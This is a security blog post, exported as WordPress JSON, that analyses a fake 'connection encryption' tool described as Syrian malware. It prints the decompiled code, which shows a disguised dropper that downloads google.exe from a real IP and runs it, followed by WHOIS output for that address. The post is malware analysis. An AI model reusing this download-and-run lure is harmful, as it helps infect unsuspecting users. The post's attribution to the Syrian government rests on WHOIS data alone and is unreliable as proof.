{"id":825,"date":"2014-07-10T05:21:47","date_gmt":"2014-07-10T05:21:47","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=825"},"modified":"2014-07-10T05:21:47","modified_gmt":"2014-07-10T05:21:47","slug":"syrian-malware","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2014\/07\/syrian-malware\/","title":{"rendered":"Syrian Malware"},"content":{"rendered":"

Howdy all!<\/p>\n

Today we’re going to go through some malware straight out of the armpit of the world – Syria. There are of course hurdles to this – namely language barriers. A lot code I run into has Arabic characters, but the code is functionally the same. As you may (or not) know, there is a military conflict going on right now in Syria and they’re using cyber warfare. State sponsored malware has been seen and captured for analysis. We know its from Syria because the C&C servers go right back to Assad and government facilities in Syria. <\/p>\n

I get my samples from a friend of mine Zach whom runs the site syrianmalware.com<\/a>. <\/p>\n

Today we’re going to look at a couple of examples. The first was fairly easy to pull apart. In fact, most of the crap out of Syria has been really easy to pull apart.
\nYou know you’re dealing with pros when the malware looks like this:
\n\"haha\"<\/a><\/p>\n

Awesome. There was no obfuscation done on this one either. As far as obfuscation goes, I’ve had pretty good luck so far as they only seem to be utilizing reflection:
\n\"worked\"<\/a><\/p>\n

Now then, let’s have a look see at this malware.<\/p>\n

<\/p>\n

\n
\/\/ EncryptYourConection.Form1<\/span>\r\n[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]<\/span>\r\nprivate<\/span> void<\/span> Button1_Click<\/span>(object<\/span> sender, EventArgs e)\r\n{\r\n\tint<\/span> num2;\r\n\tint<\/span> num3;\r\n\ttry<\/span>\r\n\t{\r\n\t\tIL_00:\r\n\t\tint<\/span> num = 1<\/span>;\r\n\t\tInteraction.MsgBox("Please Wait while Check Your PC"<\/span>, MsgBoxStyle.OkOnly, null<\/span>);\r\n\t\tIL_0F:\r\n\t\tProjectData.ClearProjectError();\r\n\t\tnum2 = 1<\/span>;\r\n\t\tIL_16:\r\n\t\tnum = 3<\/span>;\r\n\t\tInteraction.Shell("cmd.exe \/ctree c:\\\\windows"<\/span>, AppWinStyle.NormalFocus, false<\/span>, -1<\/span>);\r\n\t\tIL_26:\r\n\t\tnum = 4<\/span>;\r\n\t\tInteraction.Shell("cmd.exe \/ctree d:"<\/span>, AppWinStyle.MaximizedFocus, false<\/span>, -1<\/span>);\r\n\t\tIL_36:\r\n\t\tnum = 5<\/span>;\r\n\t\tInteraction.Shell("cmd.exe \/ctree E:"<\/span>, AppWinStyle.NormalFocus, false<\/span>, -1<\/span>);\r\n\t\tIL_46:\r\n\t\tnum = 6<\/span>;\r\n\t\tInteraction.Shell("cmd.exe \/ctree f:"<\/span>, AppWinStyle.NormalFocus, false<\/span>, -1<\/span>);\r\n\t\tIL_56:\r\n\t\tnum = 7<\/span>;\r\n\t\tInteraction.Shell("cmd.exe \/ctree g:"<\/span>, AppWinStyle.NormalFocus, false<\/span>, -1<\/span>);\r\n\t\tIL_66:\r\n\t\tnum = 8<\/span>;\r\n\t\tInteraction.Shell("cmd.exe \/ctree h:"<\/span>, AppWinStyle.NormalFocus, false<\/span>, -1<\/span>);\r\n\t\tIL_76:\r\n\t\tnum = 9<\/span>;\r\n\t\tInteraction.Shell("cmd.exe \/ctree i:"<\/span>, AppWinStyle.NormalFocus, false<\/span>, -1<\/span>);\r\n\t\tIL_87:\r\n\t\tnum = 10<\/span>;\r\n\t\tInteraction.Shell("cmd.exe \/ctree j:"<\/span>, AppWinStyle.NormalFocus, false<\/span>, -1<\/span>);\r\n\t\tIL_98:\r\n\t\tnum = 11<\/span>;\r\n\t\tInteraction.Shell("cmd.exe \/ctree k:"<\/span>, AppWinStyle.NormalFocus, false<\/span>, -1<\/span>);\r\n\t\tIL_A9:\r\n\t\tnum = 12<\/span>;\r\n\t\tInteraction.Shell("cmd.exe \/ctree l:"<\/span>, AppWinStyle.NormalFocus, false<\/span>, -1<\/span>);\r\n\t\tIL_BA:\r\n\t\tProjectData.ClearProjectError();\r\n\t\tnum2 = 1<\/span>;\r\n\t\tIL_C1:\r\n\t\tnum = 14<\/span>;\r\n\t\tif<\/span> (FileSystem.FileLen(Interaction.Environ("temp"<\/span>) + "\\\\google.exe"<\/span>) == 0L<\/span>)\r\n\t\t{\r\n\t\t\tgoto<\/span> IL_FD;\r\n\t\t}\r\n\t\tIL_E1:\r\n\t\tnum = 15<\/span>;\r\n\t\tFileSystem.Kill(Interaction.Environ("temp"<\/span>) + "\\\\google.exe"<\/span>);\r\n\t\tIL_FD:\r\n\t\tnum = 17<\/span>;\r\n\t\tMyProject.Computer.Network.DownloadFile("http:\/\/216.6.0.28\/google.exe"<\/span>, Interaction.Environ("temp"<\/span>) + "\\\\google.exe"<\/span>);\r\n\t\tIL_128:\r\n\t\tnum = 18<\/span>;\r\n\t\tInteraction.Shell(Interaction.Environ("temp"<\/span>) + "\\\\google.exe"<\/span>, AppWinStyle.MinimizedFocus, false<\/span>, -1<\/span>);\r\n\t\tIL_148:\r\n\t\tnum = 19<\/span>;\r\n\t\tthis<\/span>.ProgressBar1.Value = 50<\/span>;\r\n\t\tIL_158:\r\n\t\tnum = 20<\/span>;\r\n\t\tThread.Sleep(10000<\/span>);\r\n\t\tIL_165:\r\n\t\tnum = 21<\/span>;\r\n\t\tthis<\/span>.Timer1.Enabled = true<\/span>;\r\n\t\tIL_174:\r\n\t\tnum = 22<\/span>;\r\n\t\tInteraction.MsgBox("You PC is Protect now thank for using our Product"<\/span>, MsgBoxStyle.OkOnly, null<\/span>);\r\n\t\tIL_184:\r\n\t\tnum = 23<\/span>;\r\n\t\tthis<\/span>.Button1.Enabled = false<\/span>;\r\n\t\tIL_193:\r\n\t\tnum = 24<\/span>;\r\n\t\tthis<\/span>.Button2.Enabled = true<\/span>;\r\n\t\tIL_1A2:\r\n\t\tgoto<\/span> IL_258;\r\n\t\tIL_1A7:\r\n\t\tint<\/span> arg_1AC_0 = num3 + 1<\/span>;\r\n\t\tnum3 = 0<\/span>;\r\n\t\t@switch(ICSharpCode.Decompiler.ILAst.ILLabel[], arg_1AC_0);\r\n\t\tIL_219:\r\n\t\tgoto<\/span> IL_24D;\r\n\t\tnum3 = num;\r\n\t\t@switch(ICSharpCode.Decompiler.ILAst.ILLabel[], num2);\r\n\t\tIL_22B:\r\n\t\tgoto<\/span> IL_24D;\r\n\t}\r\n\tobject<\/span> arg_22D_0;\r\n\tendfilter(arg_22D_0 is<\/span> Exception & num2 > 0<\/span> & num3 == 0<\/span>);\r\n\tIL_24D:\r\n\tthrow<\/span> ProjectData.CreateProjectError(-2146828237<\/span>);\r\n\tIL_258:\r\n\tif<\/span> (num3 != 0<\/span>)\r\n\t{\r\n\t\tProjectData.ClearProjectError();\r\n\t}\r\n}\r\n<\/pre>\n<\/div>\n
 I rather liked this bit:<\/p>\n
<\/p>\n
\n
\/\/ EncryptYourConection.Form1<\/span>\r\nprivate<\/span> void<\/span> Button2_Click<\/span>(object<\/span> sender, EventArgs e)\r\n{\r\n\tthis<\/span>.ProgressBar1.Value = 0<\/span>;\r\n\tInteraction.MsgBox("You Are Running On unprotected Conection You Maybe At Risk !!!!"<\/span>, MsgBoxStyle.OkOnly, null<\/span>);\r\n\tthis<\/span>.Button1.Enabled = true<\/span>;\r\n\tthis<\/span>.Button2.Enabled = false<\/span>;\r\n}\r\n<\/pre>\n<\/div>\n
Breakdown – Run the program and a shitty looking form appears. A command prompt window appears when you attempt to “secure” your system that just runs the ‘tree’ command. After that, the program attempts to download and run the file “http:\/\/216.6.0.28\/google.exe”. The site just spins its wheels when I attempt to pull down the file, but inspecting the IP, we get the following info:<\/p>\n
<\/p>\n
\n
# http:\/\/whois.arin.net\/rest\/nets;handle=NET-216-6-0-0-2?showDetails=true&showARIN=false&ext=netref2<\/span>\r\n#<\/span>\r\n\r\nNetRange:       216.6.0.0<\/span> -<\/span> 216.6.1.255<\/span>\r\nCIDR:           216.6.0.0<\/span>\/<\/span>23<\/span>\r\nOriginAS:       \r\nNetName:        SYRIAN-5<\/span>\r\nNetHandle:      NET-216-6-0-0-2<\/span>\r\nParent:         NET-216-6-0-0-1<\/span>\r\nNetType:        Reassigned\r\nComment:        Fax-<\/span>no-963<\/span> 11<\/span> 3739765<\/span>\r\nRegDate:        2005-07-22<\/span>\r\nUpdated:        2005-07-22<\/span>\r\nRef:            http:\/\/<\/span>whois.arin.net\/<\/span>rest\/<\/span>net\/<\/span>NET-216-6-0-0-2<\/span>\r\n\r\nOrgName:        STE (Syrian Telecommunications Establishment)\r\nOrgId:          SSTE\r\nAddress:        Fayz Mansour St\r\nAddress:        STE Building\r\nCity:           Damascus\r\nStateProv:      \r\nPostalCode:     \r\nCountry:        SY\r\nRegDate:        2005-07-22<\/span>\r\nUpdated:        2011-09-24<\/span>\r\nRef:            http:\/\/<\/span>whois.arin.net\/<\/span>rest\/<\/span>org\/<\/span>SSTE\r\n\r\nOrgTechHandle: SAL55-<\/span>ARIN\r\nOrgTechName:   AL NASHEF, Samer \r\nOrgTechPhone:  +963<\/span> 11<\/span> 3739766<\/span> \r\nOrgTechEmail:  sytld-<\/span>admin@<\/span>net.sy\r\nOrgTechRef:    http:\/\/<\/span>whois.arin.net\/<\/span>rest\/<\/span>poc\/<\/span>SAL55-<\/span>ARIN\r\n\r\nOrgAbuseHandle: SAL55-<\/span>ARIN\r\nOrgAbuseName:   AL NASHEF, Samer \r\nOrgAbusePhone:  +963<\/span> 11<\/span> 3739766<\/span> \r\nOrgAbuseEmail:  sytld-<\/span>admin@<\/span>net.sy\r\nOrgAbuseRef:    http:\/\/<\/span>whois.arin.net\/<\/span>rest\/<\/span>poc\/<\/span>SAL55-<\/span>ARIN\r\n\r\nRTechHandle: SAL55-<\/span>ARIN\r\nRTechName:   AL NASHEF, Samer \r\nRTechPhone:  +963<\/span> 11<\/span> 3739766<\/span> \r\nRTechEmail:  sytld-<\/span>admin@<\/span>net.sy\r\nRTechRef:    http:\/\/<\/span>whois.arin.net\/<\/span>rest\/<\/span>poc\/<\/span>SAL55-<\/span>ARIN\r\n<\/pre>\n<\/div>\n
GEE, I WONDER WHO COULD BE BEHIND THIS?<\/p>\n
Stay tuned for part 2 when I go over the other 2 pieces. For now though, its late and I need my beauty rest.
\n\"1395616424498\"<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
Howdy all! Today we’re going to go through some malware straight out of the armpit of the world – Syria. There are of course hurdles to this – namely language barriers. A lot code I run into has Arabic characters, but the code is functionally the same. As you may (or not) know, there is […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/825"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=825"}],"version-history":[{"count":3,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/825\/revisions"}],"predecessor-version":[{"id":833,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/825\/revisions\/833"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=825"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=825"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=825"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}